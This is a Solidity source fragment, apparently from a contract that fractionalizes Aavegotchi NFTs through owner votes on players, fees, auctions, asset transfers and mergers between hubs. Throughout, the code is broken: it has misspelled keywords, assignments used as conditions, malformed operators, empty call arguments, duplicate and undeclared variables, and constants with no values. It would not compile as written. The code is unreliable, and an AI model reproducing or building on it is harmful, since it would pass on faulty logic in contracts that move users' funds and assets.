// tokenId => each portal option already voted by at least one owner
mapping(uint256 => uint256[]) internal votedAavegotchi;
// portal Id => Aavegotchi funding round number
mapping(uint256 => uint256[]) internal contributorPortalFunding;
// tokenId => each skill points set already voted by at least one owner
mapping(uint256 => uint256[4][]) internal votedSkill;
// tokenId => each name already voted by at least one owner
mapping(uint256 => string[]) internal votedName;
// tokenId => true if new funding round is successful
mapping(uint256 => bool) internal fundingResult;
// portal Id => funding round number => true if success of the Aavegotchi portal funding round
mapping(uint256 => mapping(uint256 => bool) internal portalFundingResult;
// voter's address => tokenId => current Aavegotchi option voted by the owner
mapping(address => mapping(uint256 => uint256)) internal currentAavegotchiVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi appointment
mapping(address => mapping(uint256 => uint256)) internal currentAavegotchiBalance;
// voter's address => tokenId => current Aavegotchi skill points set voted by the owner
mapping(address => mapping(uint256 => uint256)) internal currentSkillVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi skill points
mapping(address => mapping(uint256 => uint256)) internal currentSkillBalance;
// voter's address => tokenId => current Aavegotchi name voted by the owner
mapping(address => mapping(uint256 => string)) internal currentNameVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi name appointment
mapping(address => mapping(uint256 => uint256)) internal currentNameBalance;
// voter's address => tokenId => current votes from the contributor for the Aavegotchi destruction
mapping(address => mapping(uint256 => uint256)) internal currentDestroyBalance;
// voter's address => tokenId => nameNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal nameCurrentNumber;
// voter's address => tokenId => skillNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal skillCurrentNumber;
// voter's address => tokenId => destroyNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal destroyCurrentNumber;
// contributor => tokenId => total amount contributed to the funding round
mapping(address => mapping(uint256 => uint256)) internal ownerContributedToFunding;
// voter's address => mergerTarget address => mergerNumber of the last time the owner voted
mapping(address => mapping(address => uint256)) internal mergerCurrentNumber;
// contributor => Aavegotchi funding round portals
mapping(address => uint256[]) internal portalContributor;
// contributor => tokenId => each collateral stake contribution for the considered Aavegotchi
mapping(address => mapping(uint256 => stakeContribution[])) internal ownerStakeContribution;
// contributor => portal Id => portal funding round => contributed collateral
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerContributedCollateral;
// contributor => portal Id => portal funding round => contributed collateral type
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerCollateralType;
// contributor => portal Id => portal funding round => contributed ghst
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerContributedToAavegotchiFunding;
// ============ Public Not-Mutated Storage ============
// ERC-20 name for fractional tokens
string public name;
// ERC-20 symbol for fractional tokens
string public symbol;
// Address of the Aavegotchi Diamond contract
address public constant diamondContract;
// Address of the GHST contract
address public constant ghstContract;
// Address of the staking contract
address public constant stakingContract;
// Address of the REALMs contract
address public constant realmsContract;
// Address of the Raffles contract
address public constant rafflesContract;
// Address of the wrapped MATIC contract
address public constant wrappedMaticContract;
// Address of the FrAaction Gangs settings Contract
address public constant settingsContract = ;
// address of the parent FrAactionHub
address public demergeFrom;
// ============ Public Mutable Storage ============
// the governance contract which gets paid in ETH
address public settingsContract;
// FrAactionDAOMultisig address
address public fraactionDaoMultisig;
// FrAactionHall address
address public fraactionHall;
// target of the initial bid
address public fraactionHubTarget;
// contributor for the current staking decrease or increase;
address public stakingContributor;
// the current user winning the token auction
address public winning;
// the Player of the fractionalized Aavegotchi
address public player;
// addresses of all the FrAactionHub owners
address[] public ownersAddress;
// fee rewarded to the Player
uint256 public playerFee;
// the last timestamp when fees were claimed
uint256 public lastClaimed;
// the number of ownership tokens voting on the reserve price at any given time
uint256 public votingTokens;
// total GHST deposited by all contributors
uint256 public totalContributedToFraactionHub;
// Price in wei of the listed item targetted by the current funding round
uint256 public priceInWei;
// quantity of items to be acquired from the baazaar by the new funding round
uint256 public quantity;
// total votes for the election of the player
uint256 public votesTotalPlayer;
// total votes for the player fee update
uint256 public votesTotalFee;
// total votes for the auction length update
uint256 public votesTotalLength;
// total votes for the FrAactionHub type update
uint256 public votesTotalType;
// total GHST deposited by all contributors for the funding round
uint256 public totalContributedToFunding;
// last initial bid price submitted to the target FrAactionHub
uint256 public submittedBid;
// Number of assets acquired by the FrAactionHub
uint256 public numberOfAssets;
// Id of the portal to be claimed by the FrAactionHub
uint256 public portalTarget;
// option number of the appointed Aavegotchi to be claimed by the FrAactionHub
uint256 public portalOption;
// the unix timestamp end time of the token auction
uint256 public auctionEnd;
// the length of auctions
uint256 public auctionLength;
// reservePrice * votingTokens
uint256 public reserveTotal;
// the current price of the token during the final auction
uint256 public livePrice;
// listingId of the current funding round target
uint256 public listingId;
// Number of the FrAactionHub owners
uint256 public numberOfOwners;
// new funding round initial time
uint256 public fundingTime;
// Aavegotchi funding round initial time
uint256 public aavegotchiFundingTime;
// maximum collateral contribution allowed for the Aavegotchi funding
uint256 public maxContribution;
// collateral type of the appointed Aavegotchi
uint256 public collateralType;
// current collateral balance of the targeted Aavegotchi for the stake increase or decrease
uint256 public collateralBalance;
// current tokenId of the targeted Aavegotchi for the stake increase or decrease
uint256 public stakingTarget;
// array of the proposed auction lengths for the vote
uint256[] public votedLength;
// array of the proposed player fees for the vote
uint256[] public votedFee;
// 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
bool public gameType;
// true if the new funding round is targetting an NFT
bool public isNft;
// true if there is currently at least one destroyed Aavegotchi tokens to be claimed
bool public destroyed;
// true if all the funding rounds contributors claimed their tokens
bool public allClaimed;
// true if the first FrAactionHub funding round is currently active
bool public firstRound;
// true if the FrAactionHub successfully fractionalized its first NFT or item
bool public initialized;
// proposed auction length => collected votes in favor of that auction length
mapping (uint256 => uint256) public votesLength;
// proposed player's fee => collected votes in favor of that player's fee
mapping (uint256 => uint256) public votesFee;
// portal tokenId => appointed Aavegotchi
mapping (uint256 => uint256) public aavegotchi;
// tokenId => total votes for the Aavegotchi destruction
mapping (uint256 => uint256) public votesTotalDestroy;
// tokenId => total votes for the Aavegotchi
mapping (uint256 => uint256) public votesTotalAavegotchi;
// tokenId => total votes for the Aavegotchi name
mapping (uint256 => uint256) public votesTotalName;
// tokenId => total votes for the Aavegotchi skill points allocation
mapping (uint256 => uint256) public votesTotalSkill;
// tokenId => total votes collected to open this closed portal
mapping(uint256 => uint256) public votesTotalOpen;
// tokenId => index of asset
mapping(uint256 => uint256) public tokenIdToAssetIndex;
// portal Id => total contributed for the Aavegotchi portal funding
mapping(uint256 => uint256) public totalContributedToAavegotchiFunding;
// tokenId => winning Aavegotchi name
mapping (uint256 => string) public name;
// FrAactionHub owner => votes he collected to become the appointed Player
mapping(address => uint256) public votesPlayer;
// contributor => total amount contributed to the FrAactionHub
mapping(address => uint256) public ownerTotalContributed;
// contributor => array of Contributions
mapping(address => Contribution[]) public contributions;
// FrAactionHub owner => his desired token price
mapping(address => uint256) public userPrices;
// FrAactionHub owner => return True if owner already voted for the appointed player
mapping(address => bool) public votersPlayer;
// FrAactionHub owner => return True if owner already voted for the new Player's fee
mapping(address => bool) public votersFee;
// FrAactionHub owner => return True if owner already voted for the new auction length
mapping(address => bool) public votersLength;
// FrAactionHub owner => return True if owner already voted for the new FrAactionHub type
mapping(address => bool) public votersType;
// FrAactionHub owner => return True if owner already voted for the Aavegotchi
mapping(address => bool) public votersAavegotchi;
// contributor => true if the contributor already claimed its tokens from the funding round
mapping(address => bool) public claimed;
// tokenId => true if there is currently a vote for allocating skill points
mapping(uint256 => bool) public skillVoting;
// owner => tokenId => true if alredy voted, false if not
mapping(address => mapping(uint256 => bool)) public votersOpen;
// contributor => tokenId => true if contributor already voted for that Aavegotchi destruction
mapping(address => mapping(uint256 => bool)) public votersDestroy;
// contributor => tokenId => true if contributor already voted for that Aavegotchi
mapping(address => mapping(uint256 => bool)) public votersAavegotchi;
// owner => tokenId => current votes for opening the portal
mapping(address => mapping(uint256 => uint256)) public currentOpenBalance;
// contributor => tokenId => total staking contribution for the considered Aavegotchi
mapping(address => mapping(uint256 => uint256)) public ownerTotalStakeAmount;
// tokenId => portal option => current votes for this portal option
mapping(uint256 => mapping(uint256 => uint256)) public votesAavegotchi;
// tokenId => skill points set => current votes for this skill points set
mapping(uint256 => mapping(uint256 => uint256)) public votesSkill;
// tokenId => Aavegotchi name => current votes for this name
mapping(uint256 => mapping(string => uint256)) public votesName;
// Array of Assets acquired by the FrAactionHub
Asset[] public assets;
// ============ Structs ============
struct Contribution {
uint256 amount;
uint256 previousTotalContributedToFraactionHub;
}
// ============ EVENTS ============
// an event emitted when a user updates their price
event PriceUpdate(
address indexed user,
uint price
);
// an event emitted when an auction starts
event Start(
address indexed buyer,
uint price
);
// an event emitted when a bid is made
event Bid(
ddress indexed buyer,
uint price
);
// an event emitted when an auction is won
event Won(
address indexed buyer,
uint price
);
// an event emitted when someone cashes in ERC20 tokens for ETH from an ERC721 token sale
event Cash(
address indexed owner,
uint256 shares
);
// an event emitted when the assets merger is finalized
event AssetsMerged(address indexed _mergerTarget);
// an event emitted when the merger is finalized
event MergerFinalized(address indexed _mergerTarget);
// an event emitted when the demerger is done
event Demerged(address indexed proxyAddress, string name, string symbol);
// an event emitted when the Player is appointed or changed
event AppointedPlayer(address indexed appointedPlayer);
// an event emitted when the auction length is changed
event UpdateAuctionLength(uint256 indexed newLength);
// an event emitted when the Player fee is changed
event UpdatePlayerFee(uint256 indexed newFee);
// an event emitted when the FrAaction type is changed
event UpdateFraactionType(string indexed newGameType);
// an event emitted when somebody redeemed all the FrAactionHub tokens
event Redeem(address indexed redeemer);
// an event emitted when an Aavegotchi is appointed to be summoned
event AppointedAavegotchi(uint256 indexed portalTokenId, uint256 appointedAavegotchiOption);
// an event emitted when a portal is open
event OpenPortal(uint256 indexed portalId);
// an event emitted when an Aavegotchi is destroyed
event Destroy(uint256 indexed tokenId);
// an event emitted when an Aavegotchi name is chosen
event Named(uint256 indexed tokenId, string name);
// an event emitted when an Aavegotchi skill points set is submitted
event SkilledUp(uint256 indexed tokenId, uint256 tokenId);
// an event emitted when wearables are equipped on an Aavegotchi
event Equipped(uint256 indexed tokenId, uint16[16] wearables);
// an event emitted when consumables are used on one or several Aavegotchis
event ConsumablesUsed(uint256 indexed tokenId, uint256[] itemIds, uint256[] quantities);
function initializeVault(uint256 _supply, uint256 _listPrice, string memory _name, string memory _symbol) internal initializer {
// initialize inherited contracts
__ERC20_init(_name, _symbol);
reserveTotal = _listPrice * _supply;
lastClaimed = block.timestamp;
votingTokens = _listPrice == 0 ? 0 : _supply;
_mint(address(this), _supply);
userPrices[address(this)] = _listPrice;
initialized = true;
}
// ============ VIEW FUNCTIONS ============
function getOwners() public view returns (address[] memory) {
return ownersAddress;
}
/// @notice provide the current reserve price of the FrAactionHub
function reservePrice() public view returns(uint256) {
return votingTokens == 0 ? 0 : reserveTotal / votingTokens;
}
/// @notice provide the current reserve price of the FrAactionHub
function fundingPrice() public view returns(uint256) {
return votingTokens == 0 ? 0 : fundingTotal / votingTokens;
}
/// @notice inform if the bid is open (return true) or not (return false)
function openForBidOrMerger() public view returns(bool) {
return votingTokens * 1000 >= ISettings(settings).minVotePercentage() * totalSupply() ? true : false;
}
/// @notice inform if the bid is open (return true) or not (return false)
function activeBid() public view returns(bool) {
return finalAuctionStatus != FinalAuctionStatus.INACTIVE ? true : false;
}
/// @notice provide minimum amount to bid during the auction
function minBid() public view returns(uint256) {
uint256 increase = ISettings(settingsContract).minBidIncrease() + 1000;
return livePrice * increase / 1000;
}
// ========= GOV FUNCTIONS =========
/// @notice allow governance to boot a bad actor Player
/// @param _Player the new Player
function kickPlayer(address _player) external {
require(
msg.sender == ISettings(settingsContract).owner(),
"kick: not gov"
);
player = _player;
}
/// @notice allow governance to remove bad reserve prices
function removeReserve(address _user) external {
require(
msg.sender == ISettings(settingsContract).owner(),
"remove: not gov"
);
require(
auctionStatus == AuctionsStatus.INACTIVE,
"remove: auction live cannot update price"
);
uint256 old = userPrices[_user];
require(
0 != old,
"remove: not an update"
);
uint256 weight = balanceOf(_user);
votingTokens -= weight;
reserveTotal -= weight * old;
userPrices[_user] = 0;
emit PriceUpdate(_user, 0);
}
// ============ SETTINGS & FEES FUNCTIONS ============
/// @notice allow the FrAactionHub owners to change the FrAactionHub type
function changeFraactionType() external {
require(
initialized == true,
"updateFraactionType: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updateFraactionType: user not an owner of the FrAactionHub"
);
require(
gangAddress != address(0),
"updateFraactionType: cannot change the Collective type if the FraactionHub is part of a gang"
);
if (typeNumber != typeCurrentNumber[msg.sender]) {
votersType[msg.sender] = 0;
currentTypeBalance[msg.sender] = 0;
}
if (votersType[msg.sender] == true) {
votesTotalType -= currentTypeBalance[msg.sender];
} else {
votersType[msg.sender] = true;
}
votesTotalType += balanceOf(msg.sender);
currentTypeBalance[msg.sender] = balanceOf(msg.sender);
if (typeNumber != typeCurrentNumber[msg.sender]) typeCurrentNumber[msg.sender] = typeNumber;
if (votesTotalType * 1000 >= ISettings(settingsContract).minTypeVotePercentage() * totalSupply()) {
// 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
if (gameType == 0) gameType = 1;
if (gameType == 1) gameType = 0;
emit UpdateFraactionType(gameType);
typeNumber++;
votesTotalType = 0;
}
}
/// @notice allow the FrAactionHub owners to update the auction length
/// @param _length the new maximum length of the auction
function updateAuctionLength(uint256 _length) external {
require(
initialized == true,
"updateAuctionLength: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updateAuctionLength: user not an owner of the FrAactionHub"
);
require(
_length >= ISettings(settingsContract).minAuctionLength() && _length <= ISettings(settings).maxAuctionLength(),
"updateAuctionLength: invalid auction length"
);
if (lengthNumber != lengthCurrentNumber[msg.sender]) {
votersLength[msg.sender] = 0;
currentLengthVote[msg.sender] = 0;
currentLengthBalance[msg.sender] = 0;
}
if (votersLength[msg.sender] == true) {
votesLength[currentLengthVote[msg.sender]] -= currentLengthBalance[msg.sender];
votesTotalLength -= currentLengthBalance[msg.sender];
} else {
votersLength[msg.sender] = true;
}
if (votesLength[_length] == 0) votedLength.push(_length);
votesLength[_length] += balanceOf(msg.sender);
votesTotalLength += balanceOf(msg.sender);
currentLengthVote[msg.sender] = _length;
currentLengthBalance[msg.sender] = balanceOf(msg.sender);
if (lengthNumber != lengthCurrentNumber[msg.sender]) lengthCurrentNumber[msg.sender] = lengthNumber;
uint256 winner;
uint256 result;
if (votesTotalLength * 1000 >= ISettings(settingsContract).minLengthVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedLength.length; i++) {
if (votesLength[votedLength[i]] > result) {
result = votesLength[votedLength[i]];
winner = votedLength[i];
}
votesLength[votedLength[i]] = 0;
}
auctionLength = winner;
delete votedLength;
emit UpdateAuctionLength(auctionLength);
lengthNumber++;
votesTotalLength = 0;
}
}
/// @notice allow the FrAactionHub owners to change the player fee
/// @param _fee the new fee
function updatePlayerFee(uint256 _playerFee) external {
require(
gameType == 0,
"updatePlayerFee: this FrAactionHub was set as Collective by its creator"
);
require(
_playerFee <= ISettings(settingsContract).maxPlayerFee(),
"updatePlayerFee: cannot increase fee this high"
);
require(
initialized == true,
"updatePlayerFee: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updatePlayerFee: user not an owner of the FrAactionHub"
);
if (feeNumber != feeCurrentNumber[msg.sender]) {
votersFee[msg.sender] = 0;
currentFeeVote[msg.sender] = 0;
currentFeeBalance[msg.sender] = 0;
}
if (votersFee[msg.sender] == true) {
votesFee[currentFeeVote[msg.sender]] -= currentFeeBalance[msg.sender];
votesTotalFee -= currentFeeBalance[msg.sender];
} else {
votersFee[msg.sender] = true;
}
if (votesFee[_playerFee] == 0) votedFee.push(_playerFee);
votesFee[_playerFee] += balanceOf(msg.sender);
votesTotalFee += balanceOf(msg.sender);
currentFeeVote[msg.sender] = _playerFee;
currentFeeBalance[msg.sender] = balanceOf(msg.sender);
if (feeNumber != feeCurrentNumber[msg.sender]) feeCurrentNumber[msg.sender] = feeNumber;
if (votesTotalFee * 1000 >= ISettings(settingsContract).minPlayerFeeVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedFee.length; i++) {
if (votesFee[votedFee[i]] > result) {
result = votesFee[votedFee[i]];
winner = votedFee[i];
}
votesFee[votedFee[i]] = 0;
}
playerFee = winner;
delete votedFee;
emit UpdatePlayerFee(playerFee);
feeNumber++;
votesTotalFee = 0;
}
}
// ========= CORE FUNCTIONS ============
function voteForTransfer(
uint256[] calldata _nftsId,
uint256[] calldata _extNftsId,
uint256[] calldata _ext1155Id,
uint256[] calldata _realmsId,
uint256[] calldata _itemsId,
uint256[] calldata _itemsQuantity,
uint256[] calldata _extErc20Value,
uint256[] calldata _ext1155Quantity,
uint256[7] calldata _ticketsQuantity,
address[] calldata _extErc20Address,
address[] calldata _extNftsAddress,
address[] calldata _ext1155Address,
uint256 _idToVoteFor,
address _transferTo
) external nonReentrant {
require(
demergerStatus == DemergerStatus.INACTIVE,
"voteForTransfer: transfer already active"
);
require(
balanceOf(msg.sender) > 0,
"voteForTransfer: caller not an owner of the FrAactionHub"
);
require(
_itemsId.length == _itemsQuantity.length &&
_extNftsId.length == _extNftsAddress.length &&
_ext1155Id.length == _ext1155Address.length &&
_ext1155Address.length == _ext1155Quantity.length &&,
"voteForTransfer: input arrays lengths are not matching"
);
require(
_nftsId.length +
_realmsId.length +
_itemsId.length +
_itemsQuantity.length +
_ticketsQuantity.length +
_extNftsId.length +
_extNftsAddress.length +
_ext1155Id.length +
_ext1155Quantity.length +
_ext1155Address.length +
=< ISettings(settingsContract).MaxTransferLimit(),
"voteForTransfer: cannot transfer more than the GovSettings allowed limit"
);
if (_nftsId.length > 0 ||
_realmsId.length > 0 ||
_itemsId.length > 0 ||
_ticketsId.length > 0 ||
_extNftsId.length > 0 ||
_ext1155Id.length > 0
) {
require(
_idToVoteFor == votedIndex,
"voteForTransfer: user submitting a new demerger has to vote for it"
);
require(
_transferTo != address(0),
"voteForTransfer: address to transfer to cannot be zero"
);
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
votedIndex++;
transferTo[_idToVoteFor] = _transferTo;
}
if (votersTransfer[msg.sender][_idToVoteFor] == true) {
if (balanceOf(msg.sender) != currentTransferBalance[msg.sender][_idToVoteFor])
votesTotalTransfer[_idToVoteFor] -= currentTransferBalance[msg.sender][_idToVoteFor];
} else {
votersTransfer[msg.sender][_idToVoteFor] = true;
}
if (balanceOf(msg.sender) != currentTransferBalance[msg.sender][_idToVoteFor]) {
votesTotalTransfer[_idToVoteFor] += balanceOf(msg.sender);
currentTransferBalance[msg.sender][_idToVoteFor] = balanceOf(msg.sender);
}
if (votesTotalTransfer[_idToVoteFor] * 1000 >= ISettings(settingsContract).minTransferVotePercentage() * totalSupply()) {
if (demergerStatus != DemergerStatus.ACTIVE) {
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
demergerStatus = DemergerStatus.ACTIVE;
votedIndex = _idToVoteFor;
target = transferTo[_idToVoteFor];
emit TransferActive(target);
}
if (!realmsTransferred || split = 1) {
transferRealms();
if (split == 0) realmsTransferred = true;
} else if (!nftsTransferred || split = 2) {
transferNfts();
if (split == 0) nftsTransferred = true;
} else if (!itemsTransferred || split = 3) {
transferItems();
if (split == 0) itemsTransferred = true;
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
demergerStatus = DemergerStatus.INACTIVE;
realmsTransferred = false;
nftsTransferred = false;
itemsTransferred = false;
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
DemergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
}
}
function confirmFinalizedMerger() external {
require(
msg.sender == target,
"confirmFinalizedMerger: sender is not the merger target"
);
require(
mergerStatus == MergerStatus.ACTIVE,
"confirmFinalizedMerger: merger not active"
);
delete initiatedMergerFrom[target];
delete votesTotalMerger[target];
delete targetReserveTotal[target];
delete proposedMergerTo[target];
delete proposedValuation;
delete proposedValuationFrom;
if (!takeover) {
if (erc20Tokens.length + nfts.length + erc1155Tokens.length > maxExtTokensLength) {
mergerStatus = MergerStatus.DELETINGTOKENS;
} else {
delete erc20Tokens;
delete nfts;
delete erc1155Tokens;
mergerStatus = MergerStatus.ENDED;
}
}
}
function initiateMergerFrom(uint256 _proposedValuation, bool _proposedTakeover) external {
require(
ISettings(settingsContract).fraactionHubRegistry(msg.sender) > 0,
"initiateMergerFrom: not a registered FrAactionHub contract"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"initiateMergerFrom: caller not an owner of the FrAactionHub"
);
initiatedMergerFrom[msg.sender] = true;
proposedValuationFrom[msg.sender] = _proposedValuation;
proposedTakeoverFrom[msg.sender] = _proposedTakeover;
timeMerger[msg.sender] = block.timestamp;
endMerger[msg.sender] = timeMerger[msg.sender] + ISettings(settingsContract).minMergerTime();
emit MergerProposed(msg.sender, _proposedValuation, _proposedTakeover);
}
function confirmMerger() external {
require(
msg.sender == target,
"confirmMerger: caller not the merger target"
);
merging = true;
emit confirmedMerger(msg.sender);
}
function confirmAssetsTransferred() external {
require(
msg.sender == target,
"confirmAssetsTransferred caller not the merger target"
);
mergerStatus = MergerStatus.ASSETSTRANSFERRED;
emit MergerAssetsTransferred(msg.sender);
}
function initiateMergerTo(uint256 _proposedValuation, bool _proposedTakeover) external {
require(
ISettings(settingsContract).fraactionHubRegistry(msg.sender) > 0,
"initiateMergerTo: not a registered FrAactionHub contract"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"initiateMergerTo: caller not an owner of the FrAactionHub"
);
proposedMergerFrom[msg.sender] = true;
proposedValuationFrom[msg.sender] = _proposedValuation;
proposedTakeoverFrom[msg.sender] = _proposedTakeover;
timeMerger[msg.sender] = block.timestamp;
endMerger[msg.sender] = timeMerger[msg.sender] + ISettings(settingsContract).minMergerTime();
emit MergerProposedTo(msg.sender, _proposedValuation, _proposedTakeover);
}
function voteForMerger(
bool _proposeMergerTo,
bool _proposeTakeover,
uint256 _proposeValuation,
address _mergerTarget
) external nonReentrant {
require(
fundingStatus == FundingStatus.INACTIVE,
"voteForMerger: FrAactionHub not fractionalized yet"
);
require(
ISettings(settingsContract).fraactionHubRegistry(_mergerTarget) > 0,
"voteForMerger: not a registered FrAactionHub contract"
);
require(
balanceOf(msg.sender) > 0 ||
FraactionInterface(target).balanceOf(msg.sender) > 0,
"voteForMerger: user not an owner of the FrAactionHub"
);
require(
_extNftsId.length == _extNftsAddress.length &&
_extErc20Address.length == _extErc20Value.length &&
_ext1155Id.length == _ext1155Quantity.length &&
_ext1155Quantity.length == _ext1155Address.length,
"voteForMerger: each token ID or value needs a corresponding token address"
);
if (merging == false) {
if (timeMerger[_mergerTarget] > mergerEnd[_mergerTarget]) {
timeMerger[_mergerTarget] = 0;
mergerEnd[_mergerTarget] = 0;
if (initiatedMergerFrom[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
delete initiatiedMergerFrom[_mergerTarget];
} else if (proposedMergerTo[_mergerTarget] && mergerStatus == MergerStatus.ACTIVE) {
mergerStatus = MergerStatus.INACTIVE;
delete proposedMergerTo[_mergerTarget];
} else if (proposedMergerFrom[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
delete proposedMergerFrom[_mergerTarget];
} else {
delete initiatedMergerTo[_mergerTarget];
mergerStatus = MergerStatus.INACTIVE;
}
delete targetReserveTotal[_mergerTarget];
delete votesTotalMerger[_mergerTarget];
return;
}
if (_proposeMergerTo) proposedMergerTo[_mergerTarget] = true;
if (targetReserveTotal[_mergerTarget] == 0) {
require(
FraactionInterface(_mergerTarget).openForBidOrMerger(),
"voteForMerger: FrAactionHub not open for Merger or Bid"
);
if (!proposedMergerFrom[_mergetTarget] && !initiatedMergerFrom[_mergetTarget]) proposedTakeover[_mergerTarget] = _proposeTakeover;
if (_proposeValuation == 0 && !proposedValuationFrom[_mergerTarget]
|| proposedValuationFrom[_mergerTarget]
) {
targetReserveTotal[_mergerTarget] = FraactionInterface(_mergerTarget).reserveTotal();
} else {
targetReserveTotal[_mergerTarget] = _proposeValuation;
proposedValuation[_mergerTarget] = true;
}
bool checkType = FraactionInterface(_mergerTarget).checkExitTokenType();
if (exitInGhst == checkType) sameReserveCurrency[_mergerTarget] = checkType;
}
if (votersMerger[msg.sender][_mergerTarget] == true) {
if (balanceOf(msg.sender) != currentMergerBalance[msg.sender][_mergerTarget])
votesTotalMerger[_mergerTarget] -= currentMergerBalance[msg.sender][_mergerTarget];
} else {
votersMerger[msg.sender][_mergerTarget] = true;
}
if (balanceOf(msg.sender) != currentMergerBalance[msg.sender][_mergerTarget]) {
votesTotalMerger[_mergerTarget] += balanceOf(msg.sender);
currentMergerBalance[msg.sender][_mergerTarget] = balanceOf(msg.sender);
}
}
if (votesTotalMerger[_mergerTarget] * 1000 >= ISettings(settingsContract).minMergerVotePercentage() * totalSupply()) {
if (initiatedMergerFrom[_mergerTarget] == true) {
if (!proposedMergerTo[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
merging = true;
FraactionInterface(target).confirmMerger();
emit MergerInitiated(_mergerTarget);
}
uint256[] memory realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
uint32[] memory nftsId = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
ItemIdIO[] memory itemsDiamond = DiamondInterface(diamondContract).itemBalances(address(this));
uint256[] memory itemsStaking = DiamondInterface(stakingContract).balanceOfAll(address(this));
bool checkTickets;
for (uint i = 0; i < itemsStaking.length; i++) {
if (itemsStaking[i] != 0) {
checkTickets = true;
break;
}
}
if (realmsId.length > 0 && split == 0 || split == 1) {
transferRealms();
} else if (nftsId.length > 0 && split == 0 || split == 2) {
transferNfts();
} else if (
itemsDiamond.length > 0 && split == 0 ||
split == 3 ||
checkTickets == true
)
{
transferItems();
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
if (totalTreasuryInGhst > 0) ERC20lib.transferFrom(ghstContract, address(this), target, totalTreasuryInGhst);
if (totalTreasuryInMatic > 0) transferMaticOrWmatic(target, totalTreasuryInMatic);
totalTreasuryInGhst = 0;
totalTreasuryInMatic = 0;
uint256 bal = ERC20Upgradeable(ghstContract).balanceOf(address(this));
residualGhst = bal - currentBalanceInGhst;
residualMatic = address(this).balance - currentBalanceInMatic;
if (exitInGhst) {
redeemedCollateral[ghstContract].push(residualGhst);
if (collateralToRedeem[ghstContract] == 0) {
collateralToRedeem[ghstContract] = true;
collateralAvailable.push(ghstContract);
}
} else {
redeemedCollateral[thisContract].push(residualMatic);
if (collateralToRedeem[thisContract] == 0) {
collateralToRedeem[thisContract] = true;
collateralAvailable.push(thisContract);
}
}
mergerStatus == MergerStatus.ASSETSTRANSFERRED;
totalNumberExtAssets = nonTransferredAssets;
nonTransferredAssets = 0;
FraactionInterface(target).confirmAssetsTransferred();
emit MergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
} else if (proposedMergerTo[_mergerTarget]) {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
timeMerger[target] = block.timestamp;
endMerger[target] = timeMerger[target] + ISettings(settingsContract).minMergerTime();
merging = true;
if (proposedValuation[target]) {
FraactionInterface(target).initiateMergerTo(targetReserveTotal[target], proposedTakeover[target]);
} else {
FraactionInterface(target).initiateMergerTo(, proposedTakeover[target]);
}
emit MergerInitiatedTo(target);
} else {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
uint256 takeover = proposedTakeover[target] ? true : proposedTakeoverFrom[target];
if (proposedValuation[target]) {
FraactionInterface(target).initiateMergerFrom(targetReserveTotal[target], takeover);
} else {
FraactionInterface(target).initiateMergerFrom(, takeover);
}
timeMerger[target] = block.timestamp;
endMerger[target] = timeMerger[target] + ISettings(settingsContract).minMergerTime();
delete votesTotalMerger[_mergerTarget];
emit MergerInitiated(target);
}
}
}
function finalizeMerger() external nonReentrant {
require(
mergerStatus == MergerStatus.ASSETSTRANSFERRED,
"finalizeMerger: items not transferred yet"
);
require(
balanceOf(msg.sender) > 0 ||
FraactionInterface(target).balanceOf(msg.sender) > 0,
"finalizeMerger: user not an owner of the FrAactionHub"
);
address[] memory ownersFrom = FraactionInterface(target).getOwners();
uint256 startIndex = 0;
uint256 endIndex = ownersFrom.length;
if (split == 0) {
maxOwnersArrayLength = ISettings(settingsContract).maxOwnersArrayLength();
uint256 agreedReserveTotal;
uint256 agreedReserveTotalFrom;
if (proposedValuationFrom[target]) {
agreedReserveTotalFrom = targetReserveTotal[target];
agreedReserveTotal = proposedValuationFrom[target];
} else {
agreedReserveTotalFrom = targetReserveTotal[target];
